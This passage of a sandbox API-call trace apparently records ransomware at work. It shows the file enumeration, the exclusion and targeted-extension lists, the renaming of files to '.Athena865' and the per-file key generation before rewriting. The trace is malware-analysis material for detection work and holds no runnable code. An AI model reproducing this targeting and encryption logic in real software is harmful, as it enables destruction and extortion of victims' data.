lstrlenW (lpString="udb") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0065.036] lstrlenW (lpString="udl") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0065.036] lstrlenW (lpString="usr") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0065.036] lstrlenW (lpString="v12") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0065.036] lstrlenW (lpString="vis") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0065.036] lstrlenW (lpString="vpd") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0065.036] lstrlenW (lpString="vvv") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0065.036] lstrlenW (lpString="wdb") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0065.036] lstrlenW (lpString="wmdb") returned 4 [0065.036] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0065.036] lstrlenW (lpString="wrk") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0065.036] lstrlenW (lpString="xdb") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0065.036] lstrlenW (lpString="xld") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0065.037] lstrlenW (lpString="xmlff") returned 5 [0065.037] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0065.037] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865") returned 66 [0065.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0065.038] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11776) returned 1 [0065.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.038] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.039] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.039] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.039] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x154 [0065.041] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x100000 [0065.042] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.043] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.043] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.043] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.044] CloseHandle (hObject=0x154) returned 1 [0065.044] CloseHandle (hObject=0x17c) returned 1 [0065.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.044] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="windows") returned -1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="bootmgr") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="temp") returned -1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="pagefile.sys") returned -1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="boot") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ids.txt") returned 1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ntuser.dat") returned -1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="perflogs") returned -1 [0065.044] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="MSBuild") returned -1 [0065.044] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0065.044] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsdebuggeride.dll.mui" | out: lpString1="jsdebuggeride.dll.mui") returned="jsdebuggeride.dll.mui" [0065.045] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0065.045] lstrlenW (lpString="Athena865") returned 9 [0065.045] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0065.045] lstrlenW (lpString=".dll") returned 4 [0065.045] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".dll") returned 1 [0065.045] lstrlenW (lpString=".lnk") returned 4 [0065.045] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".lnk") returned 1 [0065.045] lstrlenW (lpString=".ini") returned 4 [0065.045] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".ini") returned 1 [0065.045] lstrlenW (lpString=".sys") returned 4 [0065.045] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".sys") returned 1 [0065.045] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0065.045] lstrlenW (lpString="bak") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0065.045] lstrlenW (lpString="ba_") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0065.045] lstrlenW (lpString="dbb") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0065.045] lstrlenW (lpString="vmdk") returned 4 [0065.045] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0065.045] lstrlenW (lpString="rar") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0065.045] lstrlenW (lpString="zip") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0065.045] lstrlenW (lpString="tgz") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0065.045] lstrlenW (lpString="vbox") returned 4 [0065.045] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0065.045] lstrlenW (lpString="vdi") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0065.045] lstrlenW (lpString="vhd") returned 3 [0065.045] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0065.045] lstrlenW (lpString="vhdx") returned 4 [0065.046] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0065.046] lstrlenW (lpString="avhd") returned 4 [0065.046] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0065.046] lstrlenW (lpString="db") returned 2 [0065.046] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0065.046] lstrlenW (lpString="db2") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0065.046] lstrlenW (lpString="db3") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0065.046] lstrlenW (lpString="dbf") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0065.046] lstrlenW (lpString="mdf") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0065.046] lstrlenW (lpString="mdb") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0065.046] lstrlenW (lpString="sql") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0065.046] lstrlenW (lpString="sqlite") returned 6 [0065.046] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0065.046] lstrlenW (lpString="sqlite3") returned 7 [0065.046] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0065.046] lstrlenW (lpString="sqlitedb") returned 8 [0065.046] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0065.046] lstrlenW (lpString="xml") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0065.046] lstrlenW (lpString="$er") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0065.046] lstrlenW (lpString="4dd") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0065.046] lstrlenW (lpString="4dl") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0065.046] lstrlenW (lpString="^^^") returned 3 [0065.046] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0065.046] lstrlenW (lpString="abs") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0065.047] lstrlenW (lpString="abx") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0065.047] lstrlenW (lpString="accdb") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0065.047] lstrlenW (lpString="accdc") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0065.047] lstrlenW (lpString="accde") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0065.047] lstrlenW (lpString="accdr") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0065.047] lstrlenW (lpString="accdt") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0065.047] lstrlenW (lpString="accdw") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0065.047] lstrlenW (lpString="accft") returned 5 [0065.047] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0065.047] lstrlenW (lpString="adb") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0065.047] lstrlenW (lpString="adb") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0065.047] lstrlenW (lpString="ade") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0065.047] lstrlenW (lpString="adf") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0065.047] lstrlenW (lpString="adn") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0065.047] lstrlenW (lpString="adp") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0065.047] lstrlenW (lpString="alf") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0065.047] lstrlenW (lpString="ask") returned 3 [0065.047] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0065.048] lstrlenW (lpString="btr") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0065.048] lstrlenW (lpString="cat") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0065.048] lstrlenW (lpString="cdb") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0065.048] lstrlenW (lpString="ckp") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0065.048] lstrlenW (lpString="cma") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0065.048] lstrlenW (lpString="cpd") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0065.048] lstrlenW (lpString="dacpac") returned 6 [0065.048] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0065.048] lstrlenW (lpString="dad") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0065.048] lstrlenW (lpString="dadiagrams") returned 10 [0065.048] lstrcmpiW (lpString1="de.dll.mui", lpString2="dadiagrams") returned 1 [0065.048] lstrlenW (lpString="daschema") returned 8 [0065.048] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0065.048] lstrlenW (lpString="db-journal") returned 10 [0065.048] lstrcmpiW (lpString1="de.dll.mui", lpString2="db-journal") returned 1 [0065.048] lstrlenW (lpString="db-shm") returned 6 [0065.048] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0065.048] lstrlenW (lpString="db-wal") returned 6 [0065.048] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0065.048] lstrlenW (lpString="dbc") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0065.048] lstrlenW (lpString="dbs") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0065.048] lstrlenW (lpString="dbt") returned 3 [0065.048] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0065.049] lstrlenW (lpString="dbv") returned 3 [0065.049] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0065.049] lstrlenW (lpString="dbx") returned 3 [0065.049] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0065.049] lstrlenW (lpString="dcb") returned 3 [0065.049] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0065.049] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865") returned 72 [0065.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui.athena865"), dwFlags=0x1) returned 1 [0065.050] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.050] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0065.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.051] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.051] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.051] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.051] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0065.053] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0065.054] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.054] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.054] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.055] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.055] CloseHandle (hObject=0x154) returned 1 [0065.055] CloseHandle (hObject=0x17c) returned 1 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.056] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="windows") returned -1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="bootmgr") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="temp") returned -1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="pagefile.sys") returned -1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="boot") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ids.txt") returned 1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ntuser.dat") returned -1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="perflogs") returned -1 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="MSBuild") returned -1 [0065.056] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0065.056] lstrcpyW (in: lpString1=0x241e89a, lpString2="JSProfilerCore.dll.mui" | out: lpString1="JSProfilerCore.dll.mui") returned="JSProfilerCore.dll.mui" [0065.056] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0065.056] lstrlenW (lpString="Athena865") returned 9 [0065.056] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0065.056] lstrlenW (lpString=".dll") returned 4 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".dll") returned 1 [0065.056] lstrlenW (lpString=".lnk") returned 4 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".lnk") returned 1 [0065.056] lstrlenW (lpString=".ini") returned 4 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".ini") returned 1 [0065.056] lstrlenW (lpString=".sys") returned 4 [0065.056] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".sys") returned 1 [0065.056] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0065.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865") returned 73 [0065.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui.athena865"), dwFlags=0x1) returned 1 [0065.057] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0065.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.059] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.059] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.059] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0065.061] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0065.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.062] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.062] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.063] CloseHandle (hObject=0x154) returned 1 [0065.063] CloseHandle (hObject=0x17c) returned 1 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.063] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, 